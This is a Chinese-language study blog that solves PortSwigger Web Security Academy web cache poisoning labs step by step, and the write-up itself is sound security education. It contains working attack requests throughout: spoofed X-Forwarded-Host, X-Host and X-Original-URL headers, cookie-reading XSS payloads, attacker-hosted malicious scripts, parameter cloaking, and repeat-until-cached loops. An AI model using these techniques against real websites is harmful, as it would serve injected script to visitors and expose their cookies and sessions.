跳至主要内容

Web cache poisoning

Lab: Web cache poisoning with an unkeyed header

DimensionDescription
Documenthttps://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws#using-web-cache-poisoning-to-exploit-unsafe-handling-of-resource-imports
Labhttps://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header

嘗試

fetch("https://0ac3001e047db9fd80a4039d000800c1.web-security-academy.net/", {
headers: {
"X-Forwarded-Host": "123",
},
});

看到

<script type="text/javascript" src="//123/resources/js/tracking.js"></script>

嘗試

fetch("https://0ac3001e047db9fd80a4039d000800c1.web-security-academy.net/", {
headers: {
"X-Forwarded-Host": `"></script><script>alert(document.cookie);const hello = "`,
},
});

看到

<script type="text/javascript" src="//"></script>
<script>
alert(document.cookie);const hello = "/resources/js/tracking.js">
</script>

我以為這樣就結束了,不過這題有 exploit-server,所以解法可能要再想一下(?)

後來改成在 exploit-server 構造

/resources/js/tracking.js
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
alert(document.cookie)

之後觸發

fetch("https://0ac3001e047db9fd80a4039d000800c1.web-security-academy.net/", {
headers: {
"X-Forwarded-Host": `exploit-0a3100870464b98f8009020901be00c0.exploit-server.net`,
},
});

然後看 Access log,突然就通關了(?)不太懂這題為啥要 exploit-server,單純 XSS Payload 就可以達成 Web cache poisoning 了呀(?)

後來回頭看 Solution,發現我忘記了最重要的事情

11. Send your malicious request. Keep replaying the request until you see your exploit server URL being reflected in the response and X-Cache: hit in the headers.

所以 Web cache poisoning 也要剛好搭配 cache 過期的時候,我確實一開始沒想到這個

DimensionDescription
Documenthttps://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
Labhttps://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-cookie

Cookie 有 fehost: prod-cache-01

html 有

<script>
data = {
host: "0a37006603435c9080bf0dbc00120062.web-security-academy.net",
path: "/",
frontend: "prod-cache-01",
};
</script>

在 Cookie.fehost 塞入

encodeURIComponent(`"};alert(1);const a = { "key": "value`);
// %22%7D%3Balert(1)%3Bconst%20a%20%3D%20%7B%20%22key%22%3A%20%22value

Lab: Web cache poisoning with multiple headers

DimensionDescription
Documenthttps://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities
Labhttps://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-multiple-headers

這題我卡了一下,我們要汙染的是 /resources/js/tracking.js,讓使用者載入的 js,302 導轉到 https://exploit-0a5e005b04761d41802efd4a01b10044.exploit-server.net/resources/js/tracking.js

先在 exploit-server 設定

GET /resources/js/tracking.js HTTP/1.1
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8

alert(document.cookie)

之後在瀏覽器執行

async function main() {
while (true) {
const response = await fetch(
"https://0aff00c704461d958030fe3700d30015.web-security-academy.net/resources/js/tracking.js",
{
headers: {
"X-Forwarded-Host":
"exploit-0a5e005b04761d41802efd4a01b10044.exploit-server.net",
"X-Forwarded-Scheme": "http",
},
credentials: "omit",
},
);
if (response.redirected) return console.log("ok");
}
}

成功導轉,代表我們成功讓 https://0aff00c704461d958030fe3700d30015.web-security-academy.net/resources/js/tracking.js 回應的 HTTP Response 變成 302 + Location: https://exploit-0a5e005b04761d41802efd4a01b10044.exploit-server.net/resources/js/tracking.js,如此變會載入惡意的程式碼,並且是在 Blog Post 網站執行程式碼,而不是在惡意網站執行程式碼

Lab: Targeted web cache poisoning using an unknown header

DimensionDescription
Documenthttps://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws#cache-control-directives
Labhttps://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-targeted-using-an-unknown-header

先看 /resources/js/tracking.js 的 Response Headers

Vary: User-Agent

留言功能允許 HTML,但有用 Dompurify,所以基本上 XSS 應該沒戲,但還是可以發起 HTTP Request

<img
src="https://exploit-0abb00f703c9311d80e54357012f009f.exploit-server.net/"
/>

查看 Access log

10.0.3.49       2025-09-20 09:46:55 +0000 "GET / HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"

exploit-server 設定

GET /resources/js/tracking.js HTTP/1.1
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8

alert(document.cookie)

由於瀏覽器的 JS 無法設定 User-Agent,所以這題要用 Burp Suite 的 Repeater,設定以下 HTTP Raw Request

GET /post?postId=3 HTTP/1.1
Host: 0a6300e203af31d0801e4442005400b3.h1-web-security-academy.net
User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
X-Host: exploit-0abb00f703c9311d80e54357012f009f.exploit-server.net


這題的 unknown headerX-Host,然後重複發送請求直到看到 Response Headers 有 X-Cache: miss,接下來後害者瀏覽評論頁 /post?postId=3,就會載入

<script type="text/javascript" src="//exploit-0abb00f703c9311d80e54357012f009f.exploit-server.net/resources/js/tracking.js">

然後就會引入我們精心設計的 JS

Lab: Web cache poisoning to exploit a DOM vulnerability via a cache with strict cacheability criteria

DimensionDescription
Documenthttps://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws#using-web-cache-poisoning-to-exploit-dom-based-vulnerabilities
Labhttps://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-to-exploit-a-dom-vulnerability-via-a-cache-with-strict-cacheability-criteria

先觀察網站的 HTML

<script>
data = {
host: "0a4e008d042d78fd811c435e008c00d1.web-security-academy.net",
path: "/",
};
</script>
<script>
initGeoLocate("//" + data.host + "/resources/json/geolocate.json");
</script>

initGeoLocate

function initGeoLocate(jsonUrl) {
fetch(jsonUrl)
.then((r) => r.json())
.then((j) => {
let geoLocateContent = document.getElementById("shipping-info");

let img = document.createElement("img");
img.setAttribute("src", "/resources/images/localShipping.svg");
geoLocateContent.appendChild(img);

let div = document.createElement("div");
div.innerHTML = "Free shipping to " + j.country;
geoLocateContent.appendChild(div);
});
}

在 exploit-server 設定

/resources/json/geolocate.json
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *

{ "country": "<img src=x onerror=alert(document.cookie)>" }

嘗試在瀏覽器的 js 執行

async function main() {
while (true) {
const response = await fetch(`${location.origin}`, {
headers: {
"X-Forwarded-Host":
"exploit-0a690044046f78aa81af42b1013f00b6.exploit-server.net",
},
credentials: "omit",
});
const miss = response.headers.get("x-cache") === "miss";
if (miss) return console.log("ok");
}
}

async function main() {
while (true) {
const response = await fetch(`${location.origin}`, {
headers: {
"X-Host": "exploit-0a690044046f78aa81af42b1013f00b6.exploit-server.net",
},
credentials: "omit",
});
const miss = response.headers.get("x-cache") === "miss";
if (miss) return console.log("ok");
}
}

都沒辦法看到 X-Cache: miss

開頭其實有提到 param-miner,嘗試用看看

結果是

Initiating header bruteforce on 0a4e008d042d78fd811c435e008c00d1.web-security-academy.net
Identified parameter on 0a4e008d042d78fd811c435e008c00d1.web-security-academy.net: x-forwarded-host~%s.%h

代表 X-Forwarded-Host 真的會影響(?)後來重新看過 Response Body,真的有改變

async function main() {
while (true) {
const response = await fetch(`${location.origin}`, {
headers: {
"X-Forwarded-Host":
"exploit-0a690044046f78aa81af42b1013f00b6.exploit-server.net",
},
credentials: "omit",
});
const text = await response.text();
const poisoned = text.includes(
`{"host":"exploit-0a690044046f78aa81af42b1013f00b6.exploit-server.net"`,
);
if (poisoned) return console.log("ok");
}
}

結果真的有汙染到

<script>
data = {
host: "exploit-0a690044046f78aa81af42b1013f00b6.exploit-server.net",
path: "/",
};
</script>

只是沒有看到 X-Cache: miss,且有 Cache-Control: no-cache

有發現在 "credentials": "omit" 的情況,都會加上 Set-Cookie: session=xxx 的 Response Header,這個 Response Header 不適合被 Cache

所以後來調整成 "credentials": "include" 就可以正常被 Cache,然後就成功解題了~

Lab: Combining web cache poisoning vulnerabilities

DimensionDescription
Documenthttps://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws#chaining-web-cache-poisoning-vulnerabilities
Labhttps://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-combining-vulnerabilities

觀察網站 HTML

<script>
data = {
host: "0ab300f20416916c83ba2427001e00b0.web-security-academy.net",
path: "/",
};
</script>
<script>
initTranslations("//" + data.host + "/resources/json/translations.json");
</script>

initTranslations.js

function initTranslations(jsonUrl) {
const lang = document.cookie
.split(";")
.map((c) => c.trim().split("="))
.filter((p) => p[0] === "lang")
.map((p) => p[1])
.find(() => true);

const translate = (dict, el) => {
for (const k in dict) {
if (el.innerHTML === k) {
el.innerHTML = dict[k];
} else {
el.childNodes.forEach((el_) => translate(dict, el_));
}
}
};

fetch(jsonUrl)
.then((r) => r.json())
.then((j) => {
const select = document.getElementById("lang-select");
if (select) {
for (const code in j) {
const name = j[code].name;
const el = document.createElement("option");
el.setAttribute("value", code);
el.innerText = name;
select.appendChild(el);
if (code === lang) {
select.selectedIndex = select.childElementCount - 1;
}
}
}

lang in j &&
lang.toLowerCase() !== "en" &&
j[lang].translations &&
translate(
j[lang].translations,
document.getElementsByClassName("maincontainer")[0],
);
});
}

translations.json

{
"en": {
"name": "English"
},
"es": {
"name": "español",
"translations": {
"Return to list": "Volver a la lista",
"View details": "Ver detailes",
"Description:": "Descripción:"
}
}
}

要讓使用者在訪問首頁時

  1. Cookie.lang 不能是 en
  2. 必須要讓 host 變成 exploit-server,同時在 exploit-server 構造一個惡意的 json
<script>
data = {
host: "0ab300f20416916c83ba2427001e00b0.web-security-academy.net",
path: "/",
};
</script>

在 exploit-server 設定

/resources/json/translations.json
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *

{
"es": {
"name": "es",
"translations": {
"Return to list": "<img src=x onerror=alert(document.cookie)>",
"View details": "<img src=x onerror=alert(document.cookie)>",
"Description:": "<img src=x onerror=alert(document.cookie)>",
"Descripción:": "<img src=x onerror=alert(document.cookie)>",
"Volver a la lista": "<img src=x onerror=alert(document.cookie)>",
"Ver detailes": "<img src=x onerror=alert(document.cookie)>"
}
}
}

切到 es 語言後,瀏覽器 JS 嘗試

initTranslations(
"https://exploit-0a47009a04d22fa980a761bd014c008f.exploit-server.net/resources/json/translations.json",
);

確定可以執行 XSS

查看切換語言,會訪問 https://0a1f00ac04542f65800362fe003f0006.web-security-academy.net/setlang/es

然後回傳

302
location: /?localized=1
set-cookie: lang=es; Path=/; Secure

這題一樣是用 X-Forwarded-Host 來汙染

<script>
data = {
host: "exploit-0aaf008d040f7fb780ac701c019e00e7.exploit-server.net",
path: "/",
};
</script>

但現在就卡在,要如何改寫使用者的 Cookie,只要不是 en,我就可以達成 XSS 了

後來這題有請 AI 給提示,是要用 X-Original-URL: /setlang\es 的方式,完整 JS 是

fetch("https://0a71006c04f07f3780e1719800c30092.web-security-academy.net/", {
credentials: "include",
redirect: "manual",
headers: {
"X-Original-URL": "/setlang\\es",
},
})
.then((res) => res.text())
.then((text) =>
console.log(
text.includes(
`"host":"exploit-0aaf008d040f7fb780ac701c019e00e7.exploit-server.net"`,
),
),
);
fetch(
"https://0a71006c04f07f3780e1719800c30092.web-security-academy.net/?localized=1",
{
credentials: "include",
headers: {
"X-Forwarded-Host":
"exploit-0aaf008d040f7fb780ac701c019e00e7.exploit-server.net",
},
},
)
.then((res) => res.text())
.then((text) =>
console.log(
text.includes(
`"host":"exploit-0aaf008d040f7fb780ac701c019e00e7.exploit-server.net"`,
),
),
);

受害者訪問首頁 > 302 導轉到 Location: /setlang/es > 302 導轉到 Location: /?localized=1 並且 Cookie.lang 被設定成 es > 訪問被汙染的 /?localized=1 > 請求 https://exploit-0aaf008d040f7fb780ac701c019e00e7.exploit-server.net/resources/json/translations.json > DOM-Based XSS 執行~

這邊的重點是 /setlang\es 會被 Web Server 轉成 302 + Location: /setlang/es

其實我一開始就有發現網站的 HTML 有 backslashes 跟 forward slash 混用,只是我沒想到這是解題關鍵,果然 PortSwigger Lab 不會做沒意義的事情,每個差異都是解題的關鍵QQ

<script type="text/javascript" src="\resources\js\translations.js"></script>
<script src="/resources/labheader/js/labHeader.js"></script>

Akamai-based websites

這種就很吃經驗,沒用過 Akamai CDN 的話,根本不知道有這招

GET /?param=1 HTTP/1.1
Host: innocent-website.com
Pragma: akamai-x-get-cache-key

HTTP/1.1 200 OK
X-Cache-Key: innocent-website.com/?param=1

Path normalization

For example, the following entries might all be cached separately but treated as equivalent to GET / on the back-end:

Apache: GET // Nginx: GET /%2F PHP: GET /index.php/xyz .NET: GET /(A(xyz)/

Lab: Web cache poisoning via an unkeyed query string

DimensionDescription
Documenthttps://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws#unkeyed-query-string
Labhttps://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-query

嘗試

fetch(`${location.origin}`, {
headers: {
Pragma: "x-get-cache-key",
},
});

得到

x-cache-key: /$$

嘗試

fetch(`${location.origin}//`, {
headers: {
Pragma: "x-get-cache-key",
},
});

得到

x-cache-key: //$$

觀察網站 HTML

<link
rel="canonical"
href="//0a4c0041048c4cc080dec1b6009700aa.web-security-academy.net/?a=3"
/>

構造

encodeURIComponent(`'/><script>alert(1)</script><link`);
// %27%2F%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E%3Clink
// https://0a4c0041048c4cc080dec1b6009700aa.web-security-academy.net/?a=%27%2F%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E%3Clink

成功解題,這題根本就是 Reflected XSS,只是剛好也可以達成 Web Cache Poisoning,我一開始被題目綁住,思維跳不開來,沒有想到 Reflected XSS

Lab: Web cache poisoning via an unkeyed query parameter

DimensionDescription
Documenthttps://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws#unkeyed-query-parameters
Labhttps://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param

這題跟上面一樣,改成用 utm_content 當作 query-string key 即可

https://0a8200f503f6179780cf4e0400940019.web-security-academy.net/?utm_content=%27%2F%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E%3Clink

Cache parameter cloaking

案例一:

利用 Cache 跟 Backend Application 對 URL Parsing 不一致的漏洞,構造

GET /?example=123?excluded_param=bad-stuff-here

Backend Application 解析成 example => 123?excluded_param=bad-stuff-here

Cache 解析成 example => 123,並且把 excluded_param=bad-stuff-here 移除

如此變可以汙染 ?example=123 這把 Cache Key,同時在 Backend Application 注入 excluded_param=bad-stuff-here

案例二:

GET /?keyed_param=abc&excluded_param=123;keyed_param=bad-stuff-here

Cache 解析成

  1. keyed_param=abc
  2. excluded_param=123;keyed_param=bad-stuff-here

Backend Application (Ruby) 解析成

  1. keyed_param=abc
  2. excluded_param=123
  3. keyed_param=bad-stuff-here

然後 keyed_param 重複的情況,Backend Application 拿了第二個 keyed_param=bad-stuff-here 去做事,回傳 poisoned response

Lab: Parameter cloaking

DimensionDescription
Documenthttps://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws#cache-parameter-cloaking
Labhttps://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

查看網站的 JS

/js/geolocate.js?callback=setCountryCookie

const setCountryCookie = (country) => {
document.cookie = "country=" + country;
};
const setLangCookie = (lang) => {
document.cookie = "lang=" + lang;
};
setCountryCookie({ country: "United Kingdom" });

嘗試訪問 https://0a0d00c003cdbe5580ce0358006100cf.web-security-academy.net/js/geolocate.js?callback=alert(1)%3Bconsole.log

const setCountryCookie = (country) => {
document.cookie = "country=" + country;
};
const setLangCookie = (lang) => {
document.cookie = "lang=" + lang;
};
alert(1);
console.log({ country: "United Kingdom" });

用 Param Minor 掃看看

Updating active thread pool size to 8
Loop 0
Loop 1
Queued 1 attacks from 1 requests in 0 seconds
Initiating url bruteforce on 0a0d00c003cdbe5580ce0358006100cf.web-security-academy.net
Identified parameter on 0a0d00c003cdbe5580ce0358006100cf.web-security-academy.net: utm_content
Found issue: Web Cache Poisoning: Query param blacklist
Target: https://0a0d00c003cdbe5580ce0358006100cf.web-security-academy.net
The application excludes certain parameters from the cache key. This was confirmed by injecting the value 'akzldka' using the jp8gm9a44 parameter, then replaying the request without the injected value, and confirming it still appears in the response. <br>For further information on this technique, please refer to https://portswigger.net/research/web-cache-entanglement
Evidence:
======================================
GET /?utm_content=akzldka&sca73h80=1 HTTP/1.1
Host: 0a0d00c003cdbe5580ce0358006100cf.web-security-academy.net
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-TW,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Origin: https://sca73h80.com
Via: sca73h80


======================================
GET /?utm_content=zzmkdfq&sca73h80=1 HTTP/1.1
Host: 0a0d00c003cdbe5580ce0358006100cf.web-security-academy.net
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-TW,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Origin: https://sca73h80.com
Via: sca73h80


======================================

Found issue: Web Cache Poisoning: Parameter Cloaking
Target: https://0a0d00c003cdbe5580ce0358006100cf.web-security-academy.net
The application can be manipulated into excluding the jp8gm9a44 parameter from the cache key, by disguising it as utm_content. <br>For further information on this technique, please refer to https://portswigger.net/research/web-cache-entanglement
Evidence:
======================================
GET /?utm_content=jp8gm9a44&utm_content=x;jp8gm9a44=akzldka&ublw998=1 HTTP/1.1
Host: 0a0d00c003cdbe5580ce0358006100cf.web-security-academy.net
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-TW,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Origin: https://ublw998.com
Via: ublw998


======================================
GET /?utm_content=jp8gm9a44&ublw998=1 HTTP/1.1
Host: 0a0d00c003cdbe5580ce0358006100cf.web-security-academy.net
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-TW,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Origin: https://ublw998.com
Via: ublw998


======================================

有點長,我現在還沒完全搞懂 Param Minor 掃描的邏輯,但總之 utm_content 應該有料

我一開始嘗試汙染首頁,看能不能把

<script
type="text/javascript"
src="/js/geolocate.js?callback=setCountryCookie"
></script>

汙染,但發現好像沒辦法,所以改成汙染 /js/geolocate.js?callback=setCountryCookie 這把 Cache Key

嘗試

/js/geolocate.js?callback=setCountryCookie&utm_content=123;callback=alert(1)%3Bconsole.log
  1. callback=setCountryCookie 是我們要汙染的 Cache Key
  2. utm_content=123;callback=alert(1)%3Bconsole.log 會在 Cache 這層不納入 Cache Key
  3. ;callback=alert(1)%3Bconsole.log Backend Application 會成功解析這段,並且提取第二個 callback,成功 poison response

Lab: Web cache poisoning via a fat GET request

DimensionDescription
Documenthttps://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws#cache-parameter-cloaking
Labhttps://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

嘗試 GET With Body

fetch(location.origin, { body: "123" });

結果被瀏覽器的 fetch 擋住

Uncaught (in promise) TypeError: Failed to execute 'fetch' on 'Window': Request with GET/HEAD method cannot have body.

嘗試 POST With Body

fetch(location.origin, {
body: "123",
method: "POST",
});

結果 404 Not Found

這題好像不是 poison 首頁~後來我發現這題也有載入 /js/geolocate.js,於是在 Burp Suite Repeater 構造

GET /js/geolocate.js?callback=setCountryCookie HTTP/2
Host: 0a0d002c031f5d9e80e8263200940046.web-security-academy.net
Cookie: session=6jahqtwgCsn2eoZ5kwIf4l6AaqdZ9z1J
Content-Length: 31

callback=alert(1);console.log

成功看到

HTTP/2 200 OK
Content-Type: application/javascript; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=35
Age: 0
X-Cache: miss
Content-Length: 207

const setCountryCookie = (country) => { document.cookie = 'country=' + country; };
const setLangCookie = (lang) => { document.cookie = 'lang=' + lang; };
alert(1);console.log
({"country":"United Kingdom"});

這題純靠自己解,忍住沒有問 AI,成就感滿滿~

X-HTTP-Method-Override

很酷的 Custom Header,可以覆寫原始的 HTTP Request Method,部分框架有支援(我是第一次知道)

Normalized cache keys

假設我們透過 Burp Suite 找到一個 Reflected XSS

GET /search?key=<script>alert(1)</script>

Server 直接把 key 回顯到網頁(沒有先經過 URL Decode),這樣的 Reflected XSS 就變成只有在 Burp Suite 這種實驗環境可行,因為受害者用瀏覽器訪問時,會自動把 URL Encode

GET /search?key=%3Cscript%3Ealert(1)%3C%2Fscript%3E

但假設 Cache Key 有經過 Normalization,就有可能導致

GET /search?key=<script>alert(1)</script>
GET /search?key=%3Cscript%3Ealert(1)%3C%2Fscript%3E

是同一把 Cache Key,如此我們就可以用 Burp Suite 發送 GET /search?key=<script>alert(1)</script> 來污染 Cache,然後受害者訪問 GET /search?key=%3Cscript%3Ealert(1)%3C%2Fscript%3E 時,就會吃到 poison 過後的 Cache

Lab: URL normalization

DimensionDescription
Documenthttps://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws#cache-parameter-cloaking
Labhttps://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-normalization

這題利用的是 404 頁面的 path reflected xss,需要在 Burp Suite 構造

GET /<script>alert(1)</script> HTTP/2
Host: 0a67009804c8c3b780c4535900490014.web-security-academy.net
Cookie: session=1sRfKPxBJzGkrHxXNeO6RtU4Jl656T1f

之後把 https://0a67009804c8c3b780c4535900490014.web-security-academy.net/%3Cscript%3Ealert(1)%3C/script%3E 傳送給受害者

我原本有找到 404 頁面似乎有 reflected xss 的跡象,只是當時我是在 querystring 下手,忘記 path 也存在 reflected xss 的可能性,虧我之前還找過 URL Path Reflected XSS

Lab: Cache key injection

DimensionDescription
Documenthttps://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws#cache-key-injection
Labhttps://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-cache-key-injection

Lab: Internal cache poisoning

DimensionDescription
Documenthttps://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws#poisoning-internal-caches
Labhttps://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-internal

進來 LAB 就看到兩個奇怪的點

  1. Uncaught ReferenceError: loadCountry is not defined at geolocate.js?callback=loadCountry:3:1

/js/geolocate.js?callback=loadCountry

const setCountryCookie = (country) => {
document.cookie = "country=" + country;
};
const setLangCookie = (lang) => {
document.cookie = "lang=" + lang;
};
loadCountry({ country: "United Kingdom" });
  1. 載了一個之前沒出現過的檔案

/resources/js/analytics.js

function randomString(length, chars) {
var result = "";
for (var i = length; i > 0; --i)
result += chars[Math.floor(Math.random() * chars.length)];
return result;
}
var id = randomString(
16,
"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",
);
fetch("/analytics?id=" + id);
  1. 承上,戳了 API 沒有 Response Body

/analytics?id=Op6rZL08pwqzj8U2

Content-Encoding: gzip
Content-Length: 0
X-Frame-Options: SAMEORIGIN

嘗試 X-Forwarded-Host

GET /post?postId=10 HTTP/2
Host: 0ae400830490275985435d7500ab0015.web-security-academy.net
X-Forwarded-Host: exploit-0a860087049327d985e25c0f01ec004b.exploit-server.net

發現有三個地方都有被汙染

<!DOCTYPE html>
<html>
<head>
<link rel="canonical" href='//exploit-0a860087049327d985e25c0f01ec004b.exploit-server.net/post?postId=10'/>
</head>
<body>
<script type="text/javascript" src="//exploit-0a860087049327d985e25c0f01ec004b.exploit-server.net/resources/js/analytics.js"></script>
<script src=//exploit-0a860087049327d985e25c0f01ec004b.exploit-server.net/js/geolocate.js?callback=loadCountry></script>

但實際把 X-Forwarded-Host 拔掉後,又只剩下

<script src=//exploit-0a860087049327d985e25c0f01ec004b.exploit-server.net/js/geolocate.js?callback=loadCountry></script>

所以趕快在 exploit-server 設定

/js/geolocate.js
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
alert(document.cookie)

成功解題,怎感覺有點簡單(?)我感覺背後的機制比較難,但 exploit 的過程蠻順利的

小結

這個系列的 Labs 我覺得整體偏難,我本來以為我已經有 HTTP Cache 的經驗,學習起來會比較輕鬆,但攻擊的思維還是不夠,雖然 HTTP 基本觀念有,但 Web Cache Poisoning 在實務上沒 exploit 過,所以學起來真的稍為辛苦,但也學到很多東西~其實主要就是 X-Forwarded-Host, X-Forwarded-Scheme, X-Host, X-HTTP-Method-OverrideX-Original-URL 這些 Custom HTTP Request Headers 可以用來 exploit Web Cache Poisoning 啦!

參考資料